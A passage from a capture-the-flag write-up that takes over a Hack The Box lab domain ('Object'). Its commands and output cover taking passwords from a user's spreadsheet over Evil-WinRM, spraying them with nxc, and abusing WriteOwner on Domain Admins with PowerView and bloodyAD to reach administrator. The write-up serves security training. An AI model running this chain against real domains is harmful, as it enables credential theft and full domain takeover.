*Evil-WinRM* PS C:\programdata> echo "ls \users\maria\documents > \programdata\out; ls \users\maria\desktop\ > \programdata\out2" > cmd.ps1
*Evil-WinRM* PS C:\programdata> ls out*
Directory: C:\programdata
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/28/2022 3:42 AM 0 out
-a---- 2/28/2022 3:42 AM 830 out2
*Evil-WinRM* PS C:\programdata> type out2
Directory: C:\users\maria\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/26/2021 8:13 AM 6144 Engines.xls
There’s a single file on the desktop. I’ll copy it to programdata and download it:
*Evil-WinRM* PS C:\programdata> echo "copy \users\maria\desktop\Engines.xls \programdata\" > cmd.ps1
*Evil-WinRM* PS C:\programdata> ls Engines.xls
Directory: C:\programdata
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/26/2021 8:13 AM 6144 Engines.xls
*Evil-WinRM* PS C:\programdata> download C:\programdata\Engines.xls Engines.xls
Info: Downloading C:\programdata\Engines.xls to Engines.xls
Info: Download successful!
Engines.xls
The Excel file opens in LibreOffice Calc in my Linux VM, and it includes a list of machines and passwords for maria:
On opening the excel document we can see three passwords for maria user
.
WinRM
crackmapexec can quickly test each password for maria. I’ll save them into a text time, and run it:
┌──(puck㉿kali)-[~/htb/object] └─$ nxc winrm 10.10.11.132 -u maria -p maria-pass.txt WINRM 10.10.11.132 5985 JENKINS [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local) WINRM 10.10.11.132 5985 JENKINS [-] object.local\maria:d34gb8@ WINRM 10.10.11.132 5985 JENKINS [-] object.local\maria:0de_434_d545 WINRM 10.10.11.132 5985 JENKINS [+] object.local\maria:W3llcr4ft3d_4cls (Pwn3d!)
The last one works over WinRM for maria:
┌──(puck㉿kali)-[~/htb/object] └─$ evil-winrm -i object.htb -u 'maria' -p 'W3llcr4ft3d_4cls' *Evil-WinRM* PS C:\Users\maria\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\maria\Documents>
.
Now going back to bloodhound GUI we can see the WriteOwner on Domain Admins group.
This allows us to change ownership of Domain Admins group to any user, which further gives us access to modify ACL’s on that
group.
https://book.hacktricks.xyz/windows/active-directory-methodology/acl-persistence-abuse
or see that with powerview’s Invoke-ACLScanner, Let’s attempt to set the Owner of the Domain Admins group to Maria.
evil-winrm-py PS C:\Users\oliver\Documents> . ./PowerView.ps1
evil-winrm-py PS C:\Users\oliver\Documents> Invoke-ACLScanner -ResolveGUIDs | ?{$_.identityreferencename -like "maria"}
ObjectDN : CN=Domain Admins,CN=Users,DC=object,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : WriteOwner
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-4088429403-1159899800-2753317549-1106
IdentityReferenceName : maria
IdentityReferenceDomain : object.local
IdentityReferenceDN : CN=maria garcia,CN=Users,DC=object,DC=local
IdentityReferenceClass : user
.
*Evil-WinRM* PS C:\programdata> . ./PowerView.ps1 *Evil-WinRM* PS C:\programdata> Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria' -Verbose Verbose: [Get-DomainSearcher] search base: LDAP://DC=object,DC=local Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=maria)(name=maria)(displayname=maria)))) Verbose: [Get-DomainSearcher] search base: LDAP://DC=object,DC=local Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=Domain Admins)(name=Domain Admins)(displayname=Domain Admins)))) Verbose: [Set-DomainObjectOwner] Attempting to set the owner for 'Domain Admins' to 'maria' *Evil-WinRM* PS C:\programdata> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All *Evil-WinRM* PS C:\programdata> Add-DomainGroupMember -Identity 'Domain Admins' -Members maria *Evil-WinRM* PS C:\programdata> net group "Domain Admins" /domain Group name Domain Admins Comment Designated administrators of the domain Members ------------------------------------------------------------------------------- Administrator maria The command completed successfully. *Evil-WinRM* PS C:\programdata>
.
So now we have set the object owner of the group domain admins to maria and we now have to grant all permissions on this object
and added maria user to this domain admins group
We need to login again because the changes will be effected after you login again
──(puck㉿kali)-[~/htb/object]
└─$ evil-winrm -i object.htb -u 'maria' -p 'W3llcr4ft3d_4cls'
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maria\Documents> cd c:\users\administrator\desktop
*Evil-WinRM* PS C:\users\administrator\desktop> dir
Directory: C:\users\administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 3/5/2025 11:42 PM 34 root.txt
*Evil-WinRM* PS C:\users\administrator\desktop>
.
We could also set the object owner of the group domain admins to maria with BloodyAD ( and then continue with Add-DomainObjectAcl from PowerView.ps1
*Evil-WinRM* PS C:\programdata> .\bloodyAD --host 127.0.0.1 -d 'object.local' -u 'maria' -p 'W3llcr4ft3d_4cls' set owner 'Domain Admins' 'maria'
bloodyAD.exe : unicrypto\backends\cryptography\RC4.py:13: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
+ CategoryInfo : NotSpecified: (unicrypto\backe...thms in 48.0.0.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
[+] Old owner S-1-5-21-4088429403-1159899800-2753317549-512 is now replaced by maria on Domain Admins
*Evil-WinRM* PS C:\programdata>
.
References
- https://stackoverflow.com/questions/12472645/how-do-i-schedule-jobs-in-jenkins
- http://woshub.com/manage-windows-firewall-powershell/
- https://stackoverflow.com/questions/39340322/how-to-reset-the-user-password-of-jenkins-on-windows
- https://github.com/hoto/jenkins-credentials-decryptor
- https://shellgeek.com/get-domain-name-using-powershell-and-cmd/
- https://cheatsheet.haax.fr/windows-systems/network-and-domain-recon/domain_mapping/
- https://www.thehacker.recipes/ad/movement/access-controls/logon-script
- https://book.hacktricks.xyz/windows/active-directory-methodology/acl-persistence-abuse